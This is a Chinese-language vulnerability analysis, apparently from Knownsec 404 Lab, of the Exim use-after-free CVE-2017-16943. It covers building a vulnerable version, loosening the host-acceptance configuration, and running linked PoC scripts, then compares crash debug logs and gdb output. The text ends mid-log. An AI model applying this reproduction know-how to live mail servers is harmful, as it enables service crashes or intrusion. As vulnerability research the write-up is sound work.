β

CVE-2017-16943 Exim UAF漏洞分析

知道创宇 26 阅读

作者: Hcamael@知道创宇404实验室

感恩节那天,meh在Bugzilla上提交了一个exim的uaf漏洞: https://bugs.exim.org/show_bug.cgi?id=2199 ,这周我对该漏洞进行应急复现,却发现,貌似利用meh提供的PoC并不能成功利用UAF漏洞造成crash

漏洞复现

首先进行漏洞复现

环境搭建

复现环境:ubuntu 16.04 server

<ol class="linenums"><li class="L0"><code class="lang-bash"><span class="com"># 从github上拉取源码</span></code></li><li class="L1"><code class="lang-bash"><span class="pln">$ git clone https</span><span class="pun">://</span><span class="pln">github</span><span class="pun">.</span><span class="pln">com</span><span class="pun">/</span><span class="typ">Exim</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">.</span><span class="pln">git</span></code></li><li class="L2"><code class="lang-bash"><span class="com"># 在4e6ae62分支修补了UAF漏洞,所以把分支切换到之前的178ecb:</span></code></li><li class="L3"><code class="lang-bash"><span class="pln">$ git checkout ef9da2ee969c27824fcd5aed6a59ac4cd217587b</span></code></li><li class="L4"><code class="lang-bash"><span class="com"># 安装相关依赖</span></code></li><li class="L5"><code class="lang-bash"><span class="pln">$ apt install libdb</span><span class="pun">-</span><span class="pln">dev libpcre3</span><span class="pun">-</span><span class="pln">dev</span></code></li><li class="L6"><code class="lang-bash"><span class="com"># 获取meh提供的Makefile文件,放到Local目录下,如果没有则创建该目录</span></code></li><li class="L7"><code class="lang-bash"><span class="pln">$ cd src</span></code></li><li class="L8"><code class="lang-bash"><span class="pln">$ mkdir </span><span class="typ">Local</span></code></li><li class="L9"><code class="lang-bash"><span class="pln">$ cd </span><span class="typ">Local</span></code></li><li class="L0"><code class="lang-bash"><span class="pln">$ wget </span><span class="str">"https://bugs.exim.org/attachment.cgi?id=1051"</span><span class="pln"> </span><span class="pun">-</span><span class="pln">O </span><span class="typ">Makefile</span></code></li><li class="L1"><code class="lang-bash"><span class="pln">$ cd </span><span class="pun">..</span></code></li><li class="L2"><code class="lang-bash"><span class="com"># 修改Makefile文件的第134行,把用户修改为当前服务器上存在的用户,然后编译安装</span></code></li><li class="L3"><code class="lang-bash"><span class="pln">$ make </span><span class="pun">&&</span><span class="pln"> make install</span></code></li></ol>

然后再修改下配置文件 /etc/exim/configure 文件的第364行,把
accept hosts = : 修改成 accept hosts = *

PoC测试

https://bugs.exim.org/attachment.cgi?id=1050 获取到meh的debug信息,得知启动参数:

<ol class="linenums"><li class="L0"><code><span class="pln">$ </span><span class="pun">/</span><span class="pln">usr</span><span class="pun">/</span><span class="pln">exim</span><span class="pun">/</span><span class="pln">bin</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">d</span><span class="pun">+</span><span class="pln">all</span></code></li></ol>

PoC有两个:

  1. https://bugs.exim.org/attachment.cgi?id=1049
  2. https://bugs.exim.org/attachment.cgi?id=1052

需要先安装下pwntools,直接用pip装就好了,两个PoC的区别其实就是padding的长度不同而已

然后就使用PoC进行测试,发现几个问题:

  1. 我的debug信息在最后一部分和meh提供的不一样
  2. 虽然触发了crash,但是并不是UAF导致的crash

debug信息不同点比较:

<ol class="linenums"><li class="L0"><code><span class="com"># 我的debug信息</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">500</span><span class="pln"> unrecognized command</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun"><<</span><span class="pln"> BDAT </span><span class="lit">1</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> chunking state </span><span class="lit">1</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> bytes</span></code></li><li class="L4"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> search_tidyup called</span></code></li><li class="L5"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">250</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> </span><span class="kwd">byte</span><span class="pln"> chunk received</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> chunking state </span><span class="lit">0</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun"><<</span><span class="pln"> BDAT </span><span class="pun"></span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> smtp_protocol_error MAIN</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln">   SMTP protocol error </span><span class="kwd">in</span><span class="pln"> </span><span class="str">"BDAT \177"</span><span class="pln"> H</span><span class="pun">=(</span><span class="pln">test</span><span class="pun">)</span><span class="pln"> </span><span class="pun">[</span><span class="lit">10.0</span><span class="pun">.</span><span class="lit">6.18</span><span class="pun">]</span><span class="pln"> missing size </span><span class="kwd">for</span><span class="pln"> BDAT command</span></code></li><li class="L0"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">501</span><span class="pln"> missing size </span><span class="kwd">for</span><span class="pln"> BDAT command</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> host </span><span class="kwd">in</span><span class="pln"> ignore_fromline_hosts</span><span class="pun">?</span><span class="pln"> </span><span class="kwd">no</span><span class="pln"> </span><span class="pun">(</span><span class="pln">option unset</span><span class="pun">)</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> </span><span class="pun">>></span><span class="typ">Headers</span><span class="pln"> received</span><span class="pun">:</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> </span><span class="pun">:</span></code></li><li class="L4"><code><span class="pun">...一堆不可显字符</span></code></li><li class="L5"><code><span class="pun">****</span><span class="pln"> debug </span><span class="kwd">string</span><span class="pln"> too </span><span class="kwd">long</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> truncated </span><span class="pun">****</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> search_tidyup called</span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> </span><span class="pun">>></span><span class="typ">Headers</span><span class="pln"> after rewriting </span><span class="kwd">and</span><span class="pln"> </span><span class="kwd">local</span><span class="pln"> additions</span><span class="pun">:</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> </span><span class="pun">:</span></code></li><li class="L0"><code><span class="pun">......一堆不可显字符</span></code></li><li class="L1"><code><span class="pun">****</span><span class="pln"> debug </span><span class="kwd">string</span><span class="pln"> too </span><span class="kwd">long</span><span class="pln"> </span><span class="pun">-</span><span class="pln"> truncated </span><span class="pun">****</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">09</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> </span><span class="typ">Data</span><span class="pln"> file name</span><span class="pun">:</span><span class="pln"> </span><span class="str">/var/</span><span class="pln">spool</span><span class="pun">/</span><span class="pln">exim</span><span class="com">//input//1eKcjF-00028V-5Y-D</span></code></li><li class="L4"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN</span></code></li><li class="L5"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln">   SMTP connection </span><span class="kwd">from</span><span class="pln"> </span><span class="pun">(</span><span class="pln">test</span><span class="pun">)</span><span class="pln"> </span><span class="pun">[</span><span class="lit">10.0</span><span class="pun">.</span><span class="lit">6.18</span><span class="pun">]</span><span class="pln"> lost </span><span class="kwd">while</span><span class="pln"> reading message data</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Lost</span><span class="pln"> incoming connection</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln">   </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443048</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln">      smtp_in</span><span class="pun">.</span><span class="pln">c  </span><span class="lit">841</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L0"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln">   </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443068</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln">      smtp_in</span><span class="pun">.</span><span class="pln">c  </span><span class="lit">841</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L4"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln">   </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443098</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln">      smtp_in</span><span class="pun">.</span><span class="pln">c  </span><span class="lit">841</span></code></li><li class="L5"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln">   </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x24430c8</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln">      smtp_in</span><span class="pun">.</span><span class="pln">c  </span><span class="lit">841</span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L0"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln">   </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x24430f8</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln">      smtp_in</span><span class="pun">.</span><span class="pln">c  </span><span class="lit">841</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln">   </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443128</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln">      smtp_in</span><span class="pun">.</span><span class="pln">c  </span><span class="lit">841</span></code></li><li class="L4"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L5"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L6"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln">   </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443158</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln">      smtp_in</span><span class="pun">.</span><span class="pln">c  </span><span class="lit">841</span></code></li><li class="L7"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">421</span><span class="pln"> </span><span class="typ">Unexpected</span><span class="pln"> failure</span><span class="pun">,</span><span class="pln"> please </span><span class="kwd">try</span><span class="pln"> later</span></code></li><li class="L8"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> MAIN PANIC DIE</span></code></li><li class="L9"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">15</span><span class="pun">:</span><span class="lit">29</span><span class="pln">  </span><span class="lit">8215</span><span class="pln">   </span><span class="kwd">internal</span><span class="pln"> error</span><span class="pun">:</span><span class="pln"> store_reset</span><span class="pun">(</span><span class="lit">0x2443188</span><span class="pun">)</span><span class="pln"> failed</span><span class="pun">:</span><span class="pln"> pool</span><span class="pun">=</span><span class="lit">0</span><span class="pln">      smtp_in</span><span class="pun">.</span><span class="pln">c  </span><span class="lit">841</span></code></li><li class="L0"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">16</span><span class="pun">:</span><span class="lit">20</span><span class="pln">  </span><span class="lit">8213</span><span class="pln"> child </span><span class="lit">8215</span><span class="pln"> ended</span><span class="pun">:</span><span class="pln"> status</span><span class="pun">=</span><span class="lit">0x8b</span></code></li><li class="L1"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">16</span><span class="pun">:</span><span class="lit">20</span><span class="pln">  </span><span class="lit">8213</span><span class="pln">   signal </span><span class="kwd">exit</span><span class="pun">,</span><span class="pln"> signal </span><span class="lit">11</span><span class="pln"> </span><span class="pun">(</span><span class="pln">core dumped</span><span class="pun">)</span></code></li><li class="L2"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">16</span><span class="pun">:</span><span class="lit">20</span><span class="pln">  </span><span class="lit">8213</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SMTP accept processes now running</span></code></li><li class="L3"><code><span class="lit">12</span><span class="pun">:</span><span class="lit">16</span><span class="pun">:</span><span class="lit">20</span><span class="pln">  </span><span class="lit">8213</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li><li class="L4"><code><span class="pln">             </span><span class="pun">--------------------------------------------</span></code></li><li class="L5"><code><span class="com"># meh的debug信息</span></code></li><li class="L6"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">500</span><span class="pln"> unrecognized command</span></code></li><li class="L7"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun"><<</span><span class="pln"> BDAT </span><span class="lit">1</span></code></li><li class="L8"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> chunking state </span><span class="lit">1</span><span class="pun">,</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> bytes</span></code></li><li class="L9"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> search_tidyup called</span></code></li><li class="L0"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">250</span><span class="pln"> </span><span class="lit">1</span><span class="pln"> </span><span class="kwd">byte</span><span class="pln"> chunk received</span></code></li><li class="L1"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> chunking state </span><span class="lit">0</span></code></li><li class="L2"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun"><<</span><span class="pln"> BDAT </span><span class="pun"></span></code></li><li class="L3"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> LOG</span><span class="pun">:</span><span class="pln"> smtp_protocol_error MAIN</span></code></li><li class="L4"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln">   SMTP protocol error </span><span class="kwd">in</span><span class="pln"> </span><span class="str">"BDAT \177"</span><span class="pln"> H</span><span class="pun">=(</span><span class="pln">test</span><span class="pun">)</span><span class="pln"> </span><span class="pun">[</span><span class="lit">127.0</span><span class="pun">.</span><span class="lit">0.1</span><span class="pun">]</span><span class="pln"> missing size </span><span class="kwd">for</span><span class="pln"> BDAT command</span></code></li><li class="L5"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21724</span><span class="pln"> SMTP</span><span class="pun">>></span><span class="pln"> </span><span class="lit">501</span><span class="pln"> missing size </span><span class="kwd">for</span><span class="pln"> BDAT command</span></code></li><li class="L6"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21719</span><span class="pln"> child </span><span class="lit">21724</span><span class="pln"> ended</span><span class="pun">:</span><span class="pln"> status</span><span class="pun">=</span><span class="lit">0x8b</span></code></li><li class="L7"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21719</span><span class="pln">   signal </span><span class="kwd">exit</span><span class="pun">,</span><span class="pln"> signal </span><span class="lit">11</span><span class="pln"> </span><span class="pun">(</span><span class="pln">core dumped</span><span class="pun">)</span></code></li><li class="L8"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21719</span><span class="pln"> </span><span class="lit">0</span><span class="pln"> SMTP accept processes now running</span></code></li><li class="L9"><code><span class="lit">10</span><span class="pun">:</span><span class="lit">31</span><span class="pun">:</span><span class="lit">59</span><span class="pln"> </span><span class="lit">21719</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li></ol>

发现的确是抛异常了,但是跟meh的debug信息在最后却不一样,然后使用gdb进行调试,发现:

<ol class="linenums"><li class="L0"><code><span class="pln">RAX  </span><span class="lit">0xfbad240c</span></code></li><li class="L1"><code><span class="pun">*</span><span class="pln">RBX  </span><span class="lit">0x30</span></code></li><li class="L2"><code><span class="pun">*</span><span class="pln">RCX  </span><span class="lit">0xffffffffffffffd4</span></code></li><li class="L3"><code><span class="pln"> RDX  </span><span class="lit">0x2000</span></code></li><li class="L4"><code><span class="pun">*</span><span class="pln">RDI  </span><span class="lit">0x2b</span></code></li><li class="L5"><code><span class="pun">*</span><span class="pln">RSI  </span><span class="lit">0x4b7e8e</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> jae    </span><span class="lit">0x4b7f04</span><span class="pln"> </span><span class="com">/* 'string.c' */</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">R8   </span><span class="lit">0x0</span></code></li><li class="L7"><code><span class="pun">*</span><span class="pln">R9   </span><span class="lit">0x24</span></code></li><li class="L8"><code><span class="pun">*</span><span class="pln">R10  </span><span class="lit">0x24</span></code></li><li class="L9"><code><span class="pun">*</span><span class="pln">R11  </span><span class="lit">0x4a69e8</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> push   rbp</span></code></li><li class="L0"><code><span class="pun">*</span><span class="pln">R12  </span><span class="lit">0x4b7e8e</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> jae    </span><span class="lit">0x4b7f04</span><span class="pln"> </span><span class="com">/* 'string.c' */</span></code></li><li class="L1"><code><span class="pun">*</span><span class="pln">R13  </span><span class="lit">0x1a9</span></code></li><li class="L2"><code><span class="pun">*</span><span class="pln">R14  </span><span class="lit">0x24431b8</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0x0</span></code></li><li class="L3"><code><span class="pun">*</span><span class="pln">R15  </span><span class="lit">0x5e</span></code></li><li class="L4"><code><span class="pun">*</span><span class="pln">RBP  </span><span class="lit">0x2000</span></code></li><li class="L5"><code><span class="pun">*</span><span class="pln">RSP  </span><span class="lit">0x7ffd75b862c0</span><span class="pln"> </span><span class="pun">—▸</span><span class="pln"> </span><span class="lit">0x7ffd75b862d0</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> </span><span class="lit">0xffffffffffffffff</span></code></li><li class="L6"><code><span class="pun">*</span><span class="pln">RIP  </span><span class="lit">0x46cf1b</span><span class="pln"> </span><span class="pun">(</span><span class="pln">store_get_3</span><span class="pun">+</span><span class="lit">117</span><span class="pun">)</span><span class="pln"> </span><span class="pun">◂—</span><span class="pln"> cmp    qword ptr </span><span class="pun">[</span><span class="pln">rax </span><span class="pun">+</span><span class="pln"> </span><span class="lit">8</span><span class="pun">],</span><span class="pln"> rdx</span></code></li><li class="L7"><code><span class="pun">--------------</span></code></li><li class="L8"><code><span class="pln"> </span><span class="pun">></span><span class="pln"> </span><span class="lit">0x46cf1b</span><span class="pln"> </span><span class="pun"><</span><span class="pln">store_get_3</span><span class="pun">+</span><span class="lit">117</span><span class="pun">></span><span class="pln">    cmp    qword ptr </span><span class="pun">[</span><span class="pln">rax </span><span class="pun">+</span><span class="pln"> </span><span class="lit">8</span><span class="pun">],</span><span class="pln"> rdx</span></code></li><li class="L9"><code><span class="pun">------------</span></code></li><li class="L0"><code><span class="pln"> </span><span class="typ">Program</span><span class="pln"> received signal SIGSEGV </span><span class="pun">(</span><span class="pln">fault address </span><span class="lit">0xfbad2414</span><span class="pun">)</span></code></li></ol>

根本就不是meh描述的利用UAF造成的crash,继续研究,发现如果把debug all的选项 -d+all 换成只显示简单的debug信息的选项 -dd ,则就不会抛异常了

<ol class="linenums"><li class="L0"><code><span class="pln">$ sudo </span><span class="pun">./</span><span class="pln">build</span><span class="pun">-</span><span class="typ">Linux</span><span class="pun">-</span><span class="pln">x86_64</span><span class="pun">/</span><span class="pln">exim </span><span class="pun">-</span><span class="pln">bdf </span><span class="pun">-</span><span class="pln">dd</span></code></li><li class="L1"><code><span class="pun">......</span></code></li><li class="L2"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> </span><span class="typ">Listening</span><span class="pun">...</span></code></li><li class="L3"><code><span class="pln"> </span><span class="lit">8268</span><span class="pln"> </span><span class="typ">Process</span><span class="pln"> </span><span class="lit">8268</span><span class="pln"> </span><span class="kwd">is</span><span class="pln"> handling incoming connection </span><span class="kwd">from</span><span class="pln"> </span><span class="pun">[</span><span class="lit">10.0</span><span class="pun">.</span><span class="lit">6.18</span><span class="pun">]</span></code></li><li class="L4"><code><span class="pln"> </span><span class="lit">8266</span><span class="pln"> child </span><span 